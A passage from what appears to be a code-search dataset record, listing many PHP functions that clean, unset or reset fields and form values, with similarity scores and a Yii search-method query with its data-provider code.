values\n\t\t\tunset(\t$this->object_new['subnetId'],\n\t\t\t\t\t$this->object_new['location'],\n\t\t\t\t\t$this->object_new['vrfIdOld'],\n\t\t\t\t\t$this->object_new['permissions'],\n\t\t\t\t\t$this->object_new['state'],\n\t\t\t\t\t$this->object_new['sectionId'],\n\t\t\t\t\t$this->object_new['ip']\n\t\t\t\t);\n\t\t\tunset(\t$this->object_old['subnetId'],\n\t\t\t\t\t$this->object_old['location'],\n\t\t\t\t\t$this->object_old['vrfIdOld'],\n\t\t\t\t\t$this->object_old['permissions'],\n\t\t\t\t\t$this->object_old['state'],\n\t\t\t\t\t$this->object_old['sectionId'],\n\t\t\t\t\t$this->object_old['ip']\n\t\t\t\t);\n\n\t\t\t# if section does not change\n\t\t\tif($this->object_new['sectionId']==$this->object_new['sectionIdNew']) {\n\t\t\t\tunset(\t$this->object_new['sectionIdNew'],\n\t\t\t\t\t\t$this->object_new['sectionId'],\n\t\t\t\t\t\t$this->object_old['sectionId']);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->object_old['sectionIdNew'] = $this->object_old['sectionId'];\n\t\t\t}\n\n\t\t\t//transform subnet to IP address format\n\t\t\tif(strlen($this->object_new['subnet'])>0) \t{ $this->object_new['subnet'] = $this->Subnets->transform_address ($this->object_new['subnet'], \"dotted\");}\n\t\t\tif(strlen($this->object_old['subnet'])>0) \t{ $this->object_old['subnet'] = $this->Subnets->transform_address ($this->object_old['subnet'], \"dotted\");}\n\n\t\t\t//remove subnet/mask for folders\n\t\t\tif (@$this->object_new['isFolder']==\"1\")\t{ unset($this->object_new['subnet'], $this->object_new['mask']); }\n\t\t\tif (@$this->object_old['isFolder']==\"1\")\t{ unset($this->object_old['subnet'], $this->object_old['mask']); }\n\t\t}\n\t\t# remove order fields\n\t\telseif($this->object_type == \"section\") {\n\t\t\tunset($this->object_old['order']);\n\t\t}\n\n\t\t# common\n\t\tunset($this->object_new['action']);\n\t\tunset($this->object_new['editDate'], $this->object_old['editDate']);\n\t\tunset($this->object_new['csrf_cookie']);\n\t}",
"public function clean()\n {\n // Set to default values\n $this->sSql = '';\n $this->aValues = [];\n }",
"public function cleanValues($values) {\n\t\tforeach($values as $key => $val) {\n\t\t\tif( empty($val) ) {\n\t\t\t\tunset($values[$key]);\n\t\t\t}\n\t\t}\n\t\treturn $values;\n\t}",
"public function cleanValues($values) {\n\t\tforeach($values as $key => $val) {\n\t\t\tif( empty($val) ) {\n\t\t\t\tunset($values[$key]);\n\t\t\t}\n\t\t}\n\t\treturn $values;\n\t}",
"protected function cleanValue(FieldItemInterface $item, $delta, $update = TRUE) {}",
"public function cleanseFields() {\n $this->dictionary->remove('nospam');\n $this->dictionary->remove('blank');\n $submitVar = $this->controller->getProperty('submitVar');\n if (!empty($submitVar)) {\n $this->dictionary->remove($submitVar);\n }\n }",
"function _cleanup_input_fields($fields = \"\", $def_value = \"full\") {\n\t\t// Fields are comma-separated string list\n\t\tif (is_string($fields) && false !== strpos($fields, \",\")) {\n\t\t\t$_tmp = array();\n\t\t\tforeach ((array)explode(\",\", $fields) as $_field) {\n\t\t\t\t$_field = trim($_field);\n\t\t\t\tif (!strlen($_field)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$_tmp[$_field] = $_field;\n\t\t\t}\n\t\t\t$fields = $_tmp;\n\t\t\tunset($_tmp);\n\t\t}\n\t\t// Cleanup fields array\n\t\tif (is_array($fields)) {\n\t\t\t$_tmp = array();\n\t\t\tforeach ((array)$fields as $_field) {\n\t\t\t\t$_field = trim($_field);\n\t\t\t\tif (!strlen($_field)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$_tmp[$_field] = $_field;\n\t\t\t}\n\t\t\t$fields = $_tmp;\n\t\t\tunset($_tmp);\n\t\t}\n\t\t// Default fields group\n\t\tif (empty($fields) || (!is_array($fields) && !in_array($fields, array_keys($this->_fields_groups)))) {\n\t\t\t$fields = $def_value;\n\t\t}\n\t\t// Remove non-existed fields from query\n\t\tif (is_array($fields)) {\n\t\t\t$avail_fields = $this->_get_avail_fields();\n\t\t\tforeach ((array)$fields as $k => $v) {\n\t\t\t\tif (is_numeric($k) || !isset($avail_fields[$v])) {\n\t\t\t\t\tunset($fields[$k]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (empty($fields)) {\n\t\t\t\t$fields = $def_value;\n\t\t\t}\n\t\t}\n\t\treturn $fields;\n\t}",
"protected function _clean()\r\n\t{\r\n\t\t$this->taintValue = null;\r\n\t\t$this->normalizedValue = null;\r\n\t\r\n\t\t$this->parameterInfo = null;\r\n\t\t$this->bFetched = false;\r\n\t\t\r\n\t\t$this->validationInfo = null;\r\n\t\t$this->isValid = false;\r\n\t}",
"public function clean() {\n\t\tif ($this->_value) {\n\t\t\tforeach ($this->_value as $key => $value) {\n\t\t\t\tif (empty($value) && $value !== 0) {\n\t\t\t\t\tunset($this->_value[$key]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $this;\n\t}",
"protected function __getPostRemoveEmpty(){\r\n if($this->request->isPost()){\r\n foreach($this->request->getPost() as $key => $value){\r\n if(empty($value) || is_null($value)){\r\n unset($_POST[$key]);\r\n }\r\n }\r\n }\r\n else{\r\n foreach($this->request->getQuery() as $key => $value){\r\n if(empty($value) || is_null($value)){\r\n unset($_GET[$key]);\r\n }\r\n }\r\n }\r\n }",
"function _cleanup_input_data($data = array()) {\n\t\tif (empty($data) || !is_array($data)) {\n\t\t\treturn false;\n\t\t}\n\t\t// Cleanup data array\n\t\t$_tmp = array();\n\t\tforeach ((array)$data as $k => $v) {\n\t\t\t$k = trim($k);\n\t\t\tif (!strlen($k)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$_tmp[$k] = $v;\n\t\t}\n\t\t$data = $_tmp;\n\t\tunset($_tmp);\n\t\t// Remove non-existed fields from query\n\t\t$avail_fields = $this->_get_avail_fields();\n\t\tforeach ((array)$data as $k => $v) {\n\t\t\tif (!isset($avail_fields[$k])) {\n\t\t\t\tunset($data[$k]);\n\t\t\t}\n\t\t}\n\t\t// Last check\n\t\tif (empty($data) || !is_array($data)) {\n\t\t\treturn false;\n\t\t}\n\t\treturn $data;\n\t}",
"public function removeAll()\n\t{\n\t\t$this->clear();\n\n\t\t$this->values = array();\n\t}",
"protected function clearEmptyXMLData()\n {\n $emptyFields = array();\n foreach ($this->xml as $field => $value) {\n if ($value == '') {\n $emptyFields[] = $field;\n }\n }\n\n foreach ($emptyFields as $field) {\n unset($this->xml->{$field});\n }\n }",
"protected function unsetFields()\n {\n }",
"public function removeValidation() {\n\n\t\t$fields = $this->getFields();\n\n\t\tforeach ($fields as $field) {\n\t\t\t$field->clearValidationRules();\n\t\t}\n\t}",
"public function clearDPTErrors() {\n foreach($this->_errors as $field=>$rules) {\n foreach($rules as $rule=>$info) {\n if (!empty($info['dpt'])) {\n unset($this->_errors[$field][$rule]);\n }\n }\n if (empty($this->_errors[$field])) unset($this->_errors[$field]);\n }\n }",
"function del_empty($arr)\n{\n\tforeach ($arr as $key => $value)\n\t{\n\t\tif (trim(strval($value))!='')\n\t\t\t$rzygi[$key] = $value;\n\t}\n\treturn $rzygi;\n}",
"protected function removeUnWantedfields(&$data) {\n unset($data['uuid']);\n unset($data['langcode']);\n unset($data['dependencies']);\n unset($data['id']);\n }",
"function fillEmptyFields()\n\t{\n\t\tif(isset($this->data[$this->name])) \n\t\t{\n\t\t\t$data = $this->data[$this->name];\n\t\t} else {\n\t\t\t$data = $this->data;\n\t\t}\n\t\t\n\t\tforeach($this->_schema as $fieldname => $details) \n\t\t{\n\t\t\tif(!isset($data[$fieldname]))\n\t\t\t\t$this->set($fieldname, '');\n\t\t}\n\t}",
"public function clean();",
"public function clean();",
"public function clean();",
"public function clean();",
"public function clean();",
"function cleanValueMapMappings(array $mappings) {\n\t$cleanedMappings = $mappings;\n\n\tforeach ($cleanedMappings as $key => $mapping) {\n\t\tif (zbx_empty($mapping['value']) && zbx_empty($mapping['newvalue'])) {\n\t\t\tunset($cleanedMappings[$key]);\n\t\t}\n\t}\n\n\treturn $cleanedMappings;\n}",
"protected function clean() {\n if (isset($this->_value)) {\n $this->clearValue = floatval($this->_value);\n if ($this->clearValue === 0 && $this->_value !== 0) {\n $this->bTypeMissmatch = true;\n }\n } else {\n $this->clearValue = null;\n }\n \n return $this;\n }",
"public function clear() {\n foreach ($this->Fields as $key => $item) {\n $this->$key = null;\n }\n }",
"public function clean($data)\n {\n foreach($this->getFields() as $name => $field) {\n $field->clean($data[$name]);\n }\n }",
"public function clean() {\n $this->data = \"\";\n $this->currentRow = 1;\n $this->curPosition = 0;\n }",
"public function unset(): void\n\t{\n\t\t$this->_value = $this->_allowNull ? null : self::setType('', gettype($this->_value));\n\t}",
"public function clean()\n {\n\n $this->model = null;\n $this->value = null;\n $this->attribute = null;\n $this->data = [];\n\n $this->fkTable = null;\n\n $this->fkQuery = null;\n $this->fkAndQuery = null;\n $this->fkOrQuery = null;\n\n }",
"function filterPostData()\n {\n /** Remove linked records if they are not set anymore **/\n foreach (array('UNL_MediaHub_Feed_NamespacedElements_itunes' => 'value',\n 'UNL_MediaHub_Feed_NamespacedElements_media' => 'value',\n 'UNL_MediaHub_Feed_Media_NamespacedElements_itunesu' => 'value',\n 'UNL_MediaHub_Feed_Media_NamespacedElements_itunes' => 'value',\n 'UNL_MediaHub_Feed_Media_NamespacedElements_media' => 'value',\n 'UNL_MediaHub_Feed_Media_NamespacedElements_geo' => 'value',\n 'UNL_MediaHub_Feed_Media_NamespacedElements_mediahub' => 'value') as $relation=>$field) {\n if (isset($this->post[$relation])) {\n foreach ($this->post[$relation] as $key=>$values) {\n if (empty($values[$field])\n && empty($values['attributes'])) {\n unset($this->post[$relation][$key]);\n }\n }\n }\n }\n unset($this->post['__unlmy_posttarget']);\n unset($this->post['MAX_FILE_SIZE']);\n unset($this->post['submit_existing']);\n }",
"protected function clean_saved_value() {\n\t\tif ( $this->saved_value !== '' ) {\n\t\t\tif ( ! is_array( $this->saved_value ) && ! is_object( $this->saved_value ) ) {\n\t\t\t\tFrmAppHelper::unserialize_or_decode( $this->saved_value );\n\t\t\t}\n\n\t\t\tif ( is_array( $this->saved_value ) && empty( $this->saved_value ) ) {\n\t\t\t\t$this->saved_value = '';\n\t\t\t}\n\t\t}\n\t}",
"public function getEmptyValues();",
"protected function deleteValuesField()\n {\n $fieldName = $this->attributes['field_name'];\n if ($this->hasValuesTableField($fieldName, $this->attributes['model'])) {\n $fieldDropCallback = FieldTypes::dropSchemaCallback($fieldName);\n\n $this->changeValuesTableField($this->attributes['model'], $fieldDropCallback);\n return true;\n } else {\n return false;\n }\n }",
"public function unsetFieldFlags($flags) {}",
"private function unsetProperties(){\n //Human::log(\"--------------------------------------------------- unset initial properties for \".$this->modelName);\n foreach($this->fields() as $f){\n \n $fieldName=$f->name;\n \n unset($this->$fieldName);\n /*\n if(gettype($this->$fieldName)==\"object\"){\n Human::log(\"FIELD now $fieldName is \". get_class($this->$fieldName)); \n }else{\n Human::log(\"FIELD now $fieldName is \". gettype($this->$fieldName)); \n }\n\t \n\t */\n } \n }",
"public function reset()\n {\n $this->values[self::_VITALITY] = null;\n }",
"public function clean()\n {\n\n $this->tokens = [];\n $this->rawMatches = [];\n\n }",
"public function clean() {\n unset($data['id_nome']);\n }",
"protected function _trimAllFields(array &$data)\n {\n array_map('trim', $data);\n }",
"abstract public function clean();",
"public function clean() {}",
"function beforeSave() {\r\n\t\t$fields = $this->getColumnTypes();\r\n\t\tforeach ($fields as $k => $v) {\r\n\t\t\tif (isset($this->data[$this->name][$k]) and ($v == 'integer' or $v == 'float')\r\n\t\t\t\t and $this->data[$this->name][$k] === '') {\r\n\t\t\t\t $this->data[$this->name][$k] = NULL; \r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn parent::beforeSave(); \r\n\t}",
"function remove_empty_items($old_array, $mantain_keys=FALSE)\n{\n\t$new_array = array();\n\tforeach($old_array AS $key=>$value)\n\t{\n\t\tif(trim($value) != ''){\n\t\t\tif($mantain_keys)\n\t\t\t{\n\t\t\t\t$new_array[$key] = $value;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tarray_push($new_array, $value);\n\t\t\t}\n\t\t}\n\t}\n\treturn $new_array;\n}",
"public function reset()\n {\n $this->values[self::DOUBLE_FIELD] = null;\n $this->values[self::FLOAT_FIELD] = null;\n $this->values[self::INT32_FIELD] = null;\n $this->values[self::INT64_FIELD] = null;\n $this->values[self::UINT32_FIELD] = null;\n $this->values[self::UINT64_FIELD] = null;\n $this->values[self::SINT32_FIELD] = null;\n $this->values[self::SINT64_FIELD] = null;\n $this->values[self::FIXED32_FIELD] = null;\n $this->values[self::FIXED64_FIELD] = null;\n $this->values[self::SFIXED32_FIELD] = null;\n $this->values[self::SFIXED64_FIELD] = null;\n $this->values[self::BOOL_FIELD] = null;\n $this->values[self::STRING_FIELD] = null;\n $this->values[self::BYTES_FIELD] = null;\n $this->values[self::REPEATED_FIELD] = array();\n $this->values[self::EMBEDDED_FIELD] = null;\n $this->values[self::DOUBLE_PACKED_FIELD] = array();\n $this->values[self::FLOAT_PACKED_FIELD] = array();\n $this->values[self::FIXED32_PACKED_FIELD] = array();\n $this->values[self::FIXED64_PACKED_FIELD] = array();\n $this->values[self::INT32_PACKED_FIELD] = array();\n $this->values[self::SINT32_PACKED_FIELD] = array();\n $this->values[self::BOOL_PACKED_FIELD] = array();\n $this->values[self::OPTIONAL_EMBEDDED_FIELD] = null;\n $this->values[self::REPEATED_OBJ_FIELD] = array();\n $this->values[self::REPEATED_STRING_FIELD] = array();\n }",
"public function updateCalculations() {\n\n foreach( $this->sheet->contents->sheetData->row as $row ) {\n\n foreach ( $row->c as $col ) {\n\n if ( ! empty ($col->f ) ) {\n unset( $col->v );\n }\n }\n }\n }",
"public function cleanUp()\n {\n $this->_value = null;\n }",
"function clean_all($form){\n\t\tforeach ($form as $key => $value) {\n\t\t\t$form[$key] = clean($value);\n\t\t}\n\t\treturn $form;\n\t}",
"private function cleanUp(float $leftover) : void\n {\n if($leftover >= 0 || empty($this->columns))\n {\n return;\n }\n\n $col = array_pop($this->columns);\n \n $col->setValue($col->getValue() + $leftover);\n }",
"static function &removeFields(&$fields,$removes){\r\n\t\t foreach($removes as $erase) {\r\n\t\t\t\t\t\t $fields->removeByName($erase);\r\n\t\t\t\t\t\t\t\t\t\t } \r\n\t\t\t\t\t return $fields;\r\n\t\t\t\t\t }",
"abstract function clean ();",
"public function removeIgnored($fields){\n\t\tforeach($this->ignoreFields as $ignore){\n\t\t\tif(($key = array_search($ignore, $fields)) !== false){\n\t\t\t\tunset($fields[$key]);\n\t\t\t}\n\t\t}\n\t\treturn $fields;\n\t}",
"function is_field_empty(array $fields) {\n foreach ($fields as $key => $value) {\n $fields[$key] = isset($value) ? trim($value) : '';\n }\n /* If there is nothing a field then valid empty index is false */\n if (in_array(\"\", $fields, true)) {\n return false;\n }\n /* return array */\n return $fields;\n}",
"private function cleanAggregations()\n {\n if (!$this->aggregationStatus->isEnabled()) {\n $this->requestData['aggregations'] = [];\n } else {\n if (array_key_exists('aggregations', $this->requestData) && is_array($this->requestData['aggregations'])) {\n foreach ($this->requestData['aggregations'] as $aggregationName => $aggregationValue) {\n switch ($aggregationValue['type']) {\n case 'dynamicBucket':\n if (is_string($aggregationValue['method'])\n && preg_match('/^\\$(.+)\\$$/si', $aggregationValue['method'])\n ) {\n unset($this->requestData['aggregations'][$aggregationName]);\n }\n }\n }\n }\n }\n }",
"public function unsetOrOtherValues()\n {\n $floatFilter = new stubFloatFilter();\n $this->assertSame($floatFilter, $floatFilter->setDecimals(3));\n $this->assertNull($floatFilter->execute(null));\n $this->assertEquals(0, $floatFilter->execute(''));\n $this->assertEquals(1000, $floatFilter->execute(true));\n $this->assertEquals(0, $floatFilter->execute(false));\n }",
"protected function _cleanupData($data) {\n\t\tif (!$data && !is_array($data)) {\n\t\t\treturn array();\n\t\t}\n\t\t$skipFields = $this->_skipFields;\n\t\tif (!$skipFields || !is_array($skipFields)) {\n\t\t\t$skipFields = array();\n\t\t}\n\t\t$clearedData = array();\n\t\tforeach ($data as $key => $value) {\n\t\t\tif (!in_array($key, $this->_globalSkipFields) && !in_array($key, $skipFields) && !is_array($value) && !is_object($value)) {\n\t\t\t\t$clearedData[$key] = $value;\n\t\t\t}\n\t\t}\n\t\treturn $clearedData;\n\t}",
"private function clear_empty_values($row) {\n\t\tforeach( $row as $key => $datum)\n\t\t\tif (($datum==='' || $datum===null)) $row[$key] = $this->default_value;\n\t\treturn $row;\n\t}",
"public abstract function clean();",
"public function cleanField($field)\n\t{\n\t\t//by default... we dont clean anything\n\t}",
"protected function unsetFields()\n\t{\n unset(\n $this['headshot_id'], $this['created_at'],\n $this['updated_at'], $this['slug']\n );\n\t}",
"function clean() {\n\t\t$now = time();\n\t\tforeach($this->_cache as $key => $value) {\n\t\t\t// retain PRIVATE values\n\t\t\tif($value[1] == self::CACHE_PRIVATE) continue;\n\t\t\t// remove all other special values\n\t\t\tif($value[1] < 0) unset($this->_cache[$key]);\n\t\t\t// check timestamp for all positive values\n\t\t\tif($value[1] > 0 && $value[1] < $now) unset($this->_cache[$key]);\n\t\t}\n\t}",
"function clean($before);",
"public function getCleanValue()\n {\n return null;\n }",
"function acf_remove_local_field($key = '')\n{\n}",
"protected function parseValues()\n {\n\n $this->setValues([]);\n\n $matches = [];\n\n preg_match_all(\"/\\<(.+?)\\>/\", $this->getDomainRegex() . '/' . $this->getRegex(), $matches);\n\n if(!empty($matches[1])){\n foreach($matches[1] as $value){\n $this->values[$value] = null;\n }\n }\n }",
"public function reset()\n {\n $this->values[self::NAME] = null;\n $this->values[self::VALUE] = array();\n $this->values[self::OPTIONS] = null;\n $this->values[self::RESERVED_RANGE] = array();\n $this->values[self::RESERVED_NAME] = array();\n }",
"public function reset()\n {\n $this->values[self::FILTER] = null;\n $this->values[self::AFTERINDEXKEY] = null;\n $this->values[self::POPULATEDOCUMENTS] = self::$fields[self::POPULATEDOCUMENTS]['default'];\n $this->values[self::INJECTENTITYCONTENT] = self::$fields[self::INJECTENTITYCONTENT]['default'];\n $this->values[self::POPULATEPREVIOUSDOCUMENTSTATES] = self::$fields[self::POPULATEPREVIOUSDOCUMENTSTATES]['default'];\n }",
"public function clean()\n\t{\n\t}",
"private function resetInputFields(){\n $this->nom = '';\n $this->departements_id = '';\n $this->arrondissement_id = '';\n }",
"function remove_allowed_options($del_options, $options = '')\n {\n }",
"public function reset() {\n $this->values[self::FROM_TIME] = null;\n $this->values[self::PRICE] = array();\n $this->values[self::MILEAGE] = null;\n $this->values[self::GEO] = null;\n }",
"public function clean()\n\t{\n\t\t(($sPlugin = Phpfox_Plugin::get('gradeservice.component_controller_admincp_fields_clean')) ? eval($sPlugin) : false);\n\t}",
"public function reset()\n {\n $this->values[self::_HERO_SPLIT_ENDING] = null;\n }",
"protected function clean_properties(){\n\t\tglobal $database;\n\t\t$clean_properties = array();\n\t\tforeach($this->properties() as $key => $value){\n\t\t\t$clean_properties[$key]=$database->escape_string($value);\t\n\t\t}\n\t\treturn $clean_properties;\t\n\t}",
"public function clean($objArray = null)\n {\n if (!$objArray) {\n $objArray = & $this->_objData;\n }\n\n $ak = array_keys($objArray);\n foreach ($ak as $k) {\n $obj = & $objArray[$k];\n $ak2 = array_keys($obj);\n foreach ($ak2 as $f) {\n $obj[$f] = FormUtil::getPassedValue(trim($obj[$f]));\n }\n }\n\n return $objArray;\n }",
"public function withoutValue();",
"protected static function cleanFiltersData()\n {\n\n // Gets the arguments\n $arguments = AbstractController::getOriginalArguments();\n\n if ($arguments['special']) {\n // Removes filters in the same page which are not active,\n // that is not selected or with the same contentID\n foreach (self::$filtersData as $filterKey => $filter) {\n if ($filterKey != self::$selectedFilterKey && $filter['pageId'] == $this->getPageId() && $filter['contentUid'] != self::$filtersData[self::$selectedFilterKey]['contentUid']) {\n unset(self::$filtersData[$filterKey]);\n }\n }\n\n // Removes the selectedFilterKey if there no filter associated with it\n if (is_array(self::$filtersData[self::$selectedFilterKey]) === false) {\n self::$selectedFilterKey = null;\n }\n }\n }",
"public function reset()\n {\n $this->values[self::_DIAMOND] = null;\n $this->values[self::_GUILDPOINT] = null;\n $this->values[self::_DPS] = null;\n $this->values[self::_OLD_DPS] = null;\n $this->values[self::_OLD_SUMMARY] = null;\n }",
"function meal_checkout_remove_fields( $fields ) {\n unset( $fields['billing']['billing_company'] );\n unset( $fields['billing']['billing_country'] );\n unset( $fields['billing']['billing_address_1'] );\n unset( $fields['billing']['billing_address_2'] );\n unset( $fields['billing']['billing_city'] );\n unset( $fields['billing']['billing_state'] );\n unset( $fields['billing']['billing_postcode'] ); \n\n // remove the shippig fields below\n unset( $fields['shipping']['shipping_first_name'] ); \n unset( $fields['shipping']['shipping_last_name'] ); \n unset( $fields['shipping']['shipping_company'] ); \n unset( $fields['shipping']['shipping_country'] ); \n unset( $fields['shipping']['shipping_address_1'] ); \n unset( $fields['shipping']['shipping_address_2'] ); \n unset( $fields['shipping']['shipping_city'] ); \n unset( $fields['shipping']['shipping_state'] ); \n unset( $fields['shipping']['shipping_postcode'] ); \n\n // remove order comments field\n unset( $woo_checkout_fields_array['order']['order_comments'] );\n\n \n \n return $fields;\n}",
"protected function cleanUpValue( $value ) {\n\t\t$cleanValue = [];\n\t\tif ( !is_array( $value ) ) {\n\t\t\treturn $cleanValue;\n\t\t}\n\t\tforeach ( $value as $singleValue ) {\n\t\t\t$singleValue = parent::cleanUpValue( $singleValue );\n\t\t\t// Remove options that we don't have here\n\t\t\tif ( !isset( $this->fields[ $singleValue ] ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$cleanValue[] = $singleValue;\n\t\t}\n\t\treturn $cleanValue;\n\t}",
"public function delete_all_fields() {\n\t\tglobal $wpdb;\n\n\t\t$meta_key = $this->get_meta_key();\n\n\t\t$postmeta_records = $wpdb->get_results(\n\t\t\t$wpdb->prepare(\n\t\t\t\t\"SELECT post_id FROM $wpdb->postmeta WHERE meta_key = %s\",\n\t\t\t\t$meta_key\n\t\t\t)\n\t\t);\n\n\t\t// Delete one by one because we (probably) want all the WP hooks to fire.\n\t\tforeach ( $postmeta_records as $postmeta ) {\n\t\t\tdelete_post_meta( $postmeta->post_id, $meta_key );\n\t\t}\n\n\t\treturn true;\n\t}",
"protected function resetFields() {\n parent::resetFields();\n $this->textField1 = null;\n $this->textField2 = null;\n $this->refNr = null;\n $this->userData = null;\n }",
"abstract protected function reset_values();",
"private function clean()\r\n {\r\n $this->hour = $this->minute = $this->second = $this->month = $this->day = $this->year;\r\n }",
"public function unsetNumberValue(): void\n {\n $this->numberValue = [];\n }",
"public function reset()\n {\n $this->values[self::OPERATIONINFO] = null;\n $this->values[self::TRANSFERDATE] = null;\n $this->values[self::CREATEDTHINGTRANSFERDATE] = null;\n $this->values[self::CREATEDTHINGINFO] = null;\n $this->values[self::ADDITIONALINFOS] = array();\n }",
"public function getUnsetFields(): array\n {\n return ['discussion_id', 'images'];\n }",
"public function reset()\n {\n $this->values[self::_TYPE] = null;\n $this->values[self::_VALUE] = null;\n }",
"public function reset()\n {\n $this->values[self::_AMOUNT] = null;\n $this->values[self::_REWARDS] = array();\n $this->values[self::_DAILYJOB] = null;\n }",
"public function clearEntity() {\n foreach ($this->entity as $key => &$entity)\n $this->entity[$key]['value'] = \"\";\n }",
"function testInvalidNumericFieldExpectsDataRemoved() {\n\n\t\t// arrange\n\t\t$TestNumberField = new TestNumberField();\n\t\t$_POST = array(\n\t\t\t'post_ID' => 1,\n\t\t\t'field_one' => 'Two',\n\t\t);\n\t\t$validated = array();\n\n\t\t// act\n\t\t$TestNumberField->validate($_POST['post_ID'], $TestNumberField->fields['field_one'], $validated['field_one'], array());\n\t\t// assert\n\t\t$expected = null;\n\t\t$this->assertEquals(\n\t\t\t$expected,\n\t\t\t$validated['field_one'],\n\t\t\t'Non-numeric strings should not be accepted for a number input type.'\n\t\t);\n\t}",
"public function clean() {\n\t\t\n\t}",
"public function clean(array $requestData)\n {\n $this->clear();\n $this->requestData = $requestData;\n $this->cleanQuery($requestData['query']);\n $this->cleanAggregations();\n $requestData = $this->requestData;\n $this->clear();\n\n if (empty($requestData['queries']) && empty($requestData['filters'])) {\n throw new EmptyRequestDataException(\n new Phrase(\"The request query and filters aren't set. Verify the query and filters and try again.\")\n );\n }\n\n return $requestData;\n }",
"public function clear() {\n $this->_documentBoost = FALSE;\n\n $this->_fields = array();\n $this->_fieldBoosts = array();\n }",
"public function _cleanData (array $arr)\n {\n foreach ($arr as $key => $element)\n {\n if (is_array ($element))\n {\n $arr [$key] = $this->_cleanData ($element);\n }\n elseif ($arr [$key] instanceof DotNotation_NullElement)\n {\n unset ($arr [$key]);\n }\n }\n \n return $arr;\n }",
"public function unsetAllAttributeValue()\n {\n foreach ($this->attributes as $key=>$val) {\n $this->$key = null;\n }\n }",
"private function ignoreBlankValueFields($data){\n $arrData = array();\n if(!is_array($data)) return false;\n foreach($data as $valData => $value){\n if($value){\n foreach($value as $valSubKey => $val){\n if(trim($val) != \"\") $arrData[$valData][$valSubKey] = $val;\n }\n }\n }\n return $arrData;\n }",
"function js_remove_checkout_fields( $fields ) {\n if( ! is_checkout() ) return $fields;\n $cart = WC()->cart->get_cart();\n $total_price = 0;\n // iterate through each item of the cart \n foreach ( $cart as $item_key => $values ) {\n $product = $values['data'];\n $price = $product->get_price();\n $total_price += $price;\n }\n // if any cart items are greater than 0 end loop the rest of the function is dunzo\n if ($total_price > 0){\n return $fields;\n } \n\n // Billing fields\n unset( $fields['billing']['billing_company'] );\n unset( $fields['billing']['billing_phone'] );\n unset( $fields['billing']['billing_state'] );\n unset( $fields['billing']['billing_address_1'] );\n unset( $fields['billing']['billing_address_2'] );\n unset( $fields['billing']['billing_city'] );\n unset( $fields['billing']['billing_postcode'] );\n\n // Shipping fields\n unset( $fields['shipping']['shipping_company'] );\n unset( $fields['shipping']['shipping_phone'] );\n unset( $fields['shipping']['shipping_state'] );\n unset( $fields['shipping']['shipping_first_name'] );\n unset( $fields['shipping']['shipping_last_name'] );\n unset( $fields['shipping']['shipping_address_1'] );\n unset( $fields['shipping']['shipping_address_2'] );\n unset( $fields['shipping']['shipping_city'] );\n unset( $fields['shipping']['shipping_postcode'] );\n\n // Order fields\n unset( $fields['order']['order_comments'] );\n \n return $fields;\n}",
"private function parseFields(): void\n {\n foreach ($this->reflect->getProperties() as $item) {\n $name = $item->getName();\n if (in_array($name, self::SKIP_FIELDS, true)) {\n continue;\n }\n\n $docblock = $item->getDocComment();\n $defType = $this->getFieldType($name, $docblock);\n $varType = $this->getVarType($name, $docblock);\n $isRequired = $this->isRequired($name, $docblock);\n $storage = &$this->fieldsBuffer[$defType];\n\n switch ($defType) {\n case self::FIELD_SIMPLE_TYPE:\n $storage[] = $this->processSimpleField($name, $varType, $isRequired);\n break;\n case self::FIELD_DATE_TYPE:\n $storage[] = $this->processDateField($name, $varType, $isRequired);\n break;\n case self::FIELD_MO_TYPE:\n $storage[] = $this->processManyToOneField($name, $varType, $isRequired);\n break;\n case self::FIELD_OM_TYPE:\n $storage[] = $this->processOneToManyField($name);\n break;\n }\n }\n\n unset($storage);\n }"
] | [
"0.6166138",
"0.6115458",
"0.5947727",
"0.5883496",
"0.5883496",
"0.5870601",
"0.58319074",
"0.5800163",
"0.579608",
"0.5712523",
"0.5632037",
"0.5576006",
"0.54915756",
"0.5490753",
"0.54426277",
"0.543485",
"0.5433762",
"0.5393182",
"0.53580326",
"0.53360987",
"0.5307319",
"0.5307319",
"0.5307319",
"0.5307319",
"0.5307319",
"0.52848035",
"0.52653617",
"0.5221707",
"0.5206433",
"0.5198691",
"0.5172933",
"0.51618844",
"0.51546603",
"0.5143681",
"0.51307744",
"0.5128169",
"0.51260513",
"0.5110781",
"0.5104037",
"0.5101182",
"0.50990444",
"0.50816786",
"0.5074527",
"0.5072976",
"0.5072265",
"0.50401294",
"0.50389177",
"0.5037718",
"0.50224257",
"0.50191677",
"0.50179327",
"0.50171477",
"0.50077975",
"0.50068206",
"0.50049585",
"0.4998657",
"0.4996593",
"0.49916476",
"0.49815288",
"0.49783123",
"0.49688038",
"0.49609452",
"0.4960549",
"0.49597597",
"0.4959156",
"0.49494034",
"0.4948205",
"0.49452075",
"0.49376363",
"0.49187145",
"0.4915108",
"0.49134836",
"0.49124038",
"0.49121186",
"0.49035853",
"0.4892129",
"0.4884703",
"0.48715547",
"0.48572272",
"0.48551255",
"0.48416522",
"0.48369867",
"0.48304588",
"0.48228586",
"0.48224923",
"0.48206148",
"0.48125386",
"0.48036423",
"0.4802471",
"0.48007607",
"0.47997004",
"0.47987947",
"0.4791469",
"0.47863495",
"0.47806907",
"0.47785825",
"0.47770417",
"0.47735828",
"0.47702238",
"0.47685143",
"0.47637284"
] | 0.0 | -1 |
Creates data provider instance with search query applied | public function search($params)
{
$query = Visitedpage::find();
// add conditions that should always apply here
$dataProvider = new ActiveDataProvider([
'query' => $query,
]);
$this->load($params);
if (!$this->validate()) {
// uncomment the following line if you do not want to return any records when validation fails
// $query->where('0=1');
return $dataProvider;
}
// grid filtering conditions
$query->andFilterWhere([
'visited_page_id' => $this->visited_page_id,
'user_id' => $this->user_id,
'rstl_id' => $this->rstl_id,
'pstc_id' => $this->pstc_id,
'date_visited' => $this->date_visited,
]);
$query->andFilterWhere(['like', 'home_url', $this->home_url])
->andFilterWhere(['like', 'module', $this->module])
->andFilterWhere(['like', 'controller', $this->controller])
->andFilterWhere(['like', 'action', $this->action]);
return $dataProvider;
} | {
"objective": {
